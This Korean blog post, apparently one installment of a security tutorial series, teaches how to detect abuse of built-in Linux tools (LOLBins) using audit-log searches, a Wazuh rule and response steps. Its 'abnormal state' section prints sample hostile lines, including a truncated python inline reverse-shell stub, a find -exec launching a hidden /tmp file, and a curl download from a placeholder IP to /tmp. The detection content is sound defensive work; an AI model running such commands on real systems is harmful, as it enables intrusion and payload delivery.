384. 방어 회피·흔적 삭제 — LOLBins(정상 도구 악용) 탐지

changseop lee·2026년 10월 8일

시스템 보안 · 취약점

목록 보기
384/450

시스템 보안 · 취약점 › H. 방어 회피 · 흔적 삭제 징후 · 34/50편 (전체 384/450)
학습 단계: 위장·난독화·흔적 분석
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

LOLBins(Living Off the Land Binaries)는 시스템에 기본 설치된 정상·신뢰 바이너리(curl·wget·python·tar·find·awk 등)를 공격 목적으로 악용하는 기법입니다. 바이너리 자체가 정상이라 시그니처·화이트리스트를 회피합니다.

LOLBins 악용(방어 회피 관점)
 다운로드: curl/wget으로 페이로드 수신
 실행: python/perl -c 로 코드 실행
 파일 조작: tar/cp로 복사·압축
 탐색: find -exec 로 명령 실행
 특징: 바이너리는 정상 — 인자·맥락이 비정상

탐지: 정상 도구의 비정상 인자·맥락·계보

핵심은 "도구는 정상, 사용법이 비정상"입니다. 바이너리 이름만 보면 정탐이 불가능하므로 인자·실행 맥락·부모 프로세스를 함께 봐야 합니다.

2. 왜 중요한가

  • LOLBins는 신뢰된 기본 바이너리를 악용해 시그니처·화이트리스트를 회피합니다.
  • 바이너리 자체는 정상이라 이름 기반 탐지로는 잡히지 않습니다.
  • 인자·실행 맥락·부모 프로세스를 함께 봐야 악용을 구분할 수 있습니다.

3. 핵심 명령어 / 설정

도구정상 용도악용
curl/wget다운로드페이로드 수신
python/perl스크립트-c 인라인 실행
find파일 검색-exec 명령
tar압축데이터 반출
awk/sed텍스트명령 실행

4. 실습 (실습 예시)

# LOLBins 악용 탐지 (분석 방법)
# 정상 도구의 비정상 인자(인라인 코드·외부 통신)
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E '(python[0-9]?|perl|ruby)\s+-c|find\s+.*-exec|awk\s+.*system\(' | tail
# 비대화형 셸·서비스 계정이 호출한 네트워크 도구
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E '(curl|wget).*(192\.0\.2\.|203\.0\.113\.|/tmp/)' | tail
# 부모가 웹서버·cron인 정상 도구 호출
echo "www-data/cron → curl/python 계보 교차 확인"

5. 정상 상태

$ (비정상 인자) (없음 — 정상 용도)
$ (비정상 맥락) (없음 — 대화형·정상 부모)

정상 도구가 정상 용도·인자로 사용되고, 서비스 계정·비대화형 맥락에서 네트워크 도구나 인라인 코드 실행이 없는 상태가 정상입니다.

6. 이상 상태

$ (비정상 인자)
python3 -c "import socket,os,pty;..." (인라인 역셸 코드)
find / -name x -exec /tmp/.s {} \; (find로 명령 실행)
$ (비정상 맥락)
www-data가 curl http://192.0.2.5/p -o /tmp/.p (웹셸→다운로드)
  • python -c 인라인 코드·find -exec → 정상 도구로 명령 실행
  • www-data의 curl 외부 다운로드 → 웹셸 기반 LOLBins
  • 정상 도구 + 비정상 인자·맥락·부모 → LOLBins 악용 → 정탐

7. 로그 분석 (분석 방법)

LOLBins 악용 분석입니다(가상의 예시).

[공격자] 새 악성 바이너리 업로드 대신
   기존 정상 도구 사용(화이트리스트 통과)
   python3 -c "<역셸>", curl로 다운로드
      ↕ (탐지)
[분석가]
 바이너리: python3·curl (정상 — 이름만으론 못 잡음)
 인자: -c 인라인 코드, 외부 IP 다운로드(비정상)
 맥락: www-data/비대화형·부모가 웹서버(비정상)
   ↓
= 도구는 정상, 인자·맥락이 실체 → 정탐
관점정상악용
바이너리python/curl동일
인자스크립트 파일-c 인라인
맥락사용자 대화형서비스·비정상 부모

인자·맥락·계보가 LOLBins 악용 탐지의 핵심입니다.

8. SOC 관제 포인트

  • LOLBins(T1218·T1059)는 신뢰된 기본 바이너리를 악용해 시그니처·화이트리스트를 회피합니다.
  • 바이너리 자체는 정상이므로 이름 기반 탐지로는 구분이 불가능합니다.
  • 비정상 인자(-c 인라인·외부 통신)·실행 맥락·부모 프로세스로 악용을 판별합니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_h,defense_evasion,">
  <rule id="107330" level="12">
    <if_sid>107000</if_sid>
    <field name="audit.proctitle" type="pcre2">(python[0-9]?|perl|ruby)\s+-c\s|find\s+.+-exec|awk\s+.+system\(|(curl|wget)\s+.*(tmp|dev/shm)</field>
    <description>정상 도구의 비정상 사용(LOLBins 악용)</description>
    <mitre><id>T1218</id><id>T1059</id></mitre>
  </rule>
</group>

정상 도구별 정상 사용 패턴을 기준선화하고, 인라인 코드·외부 통신·비정상 부모(웹서버·서비스 계정)와의 조합을 탐지합니다. 관리 스크립트는 예외 처리합니다.

10. 대응 방법

  1. 초기 확인 — 정상 도구의 비정상 인자(인라인 코드·외부 통신·-exec)를 확인합니다.
  2. 범위 확인 — 실행 맥락(서비스 계정·비대화형)과 부모 프로세스(웹서버·cron)를 확인합니다.
  3. 증거 확보 — 도구 실행·인자·계보를 보존합니다.
  4. 차단/조치 — LOLBins 악용 정탐이면 실제 수행 작업 분석·연계 활동 추적을 진행합니다.
  5. 재발 방지 — LOLBins 악용 탐지를 운영합니다.

11. 핵심 정리

도구악용
curl/wget페이로드 수신
python/perl-c 인라인 실행
find-exec 명령
tar데이터 반출
면접 포인트"LOLBins는 도구가 정상 — 인자·맥락·부모로 악용 판별"

12. 다음 편 예고

다음 편 385. 방어 회피·흔적 삭제 — 서명·신뢰 관계 악용 탐지 에서는 서명·신뢰 관계 악용을 다루는 서명·신뢰 관계 악용 탐지를 다룹니다.


이전 편: 383. 방어 회피·흔적 삭제 — 인코딩·암호화 기반 우회 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글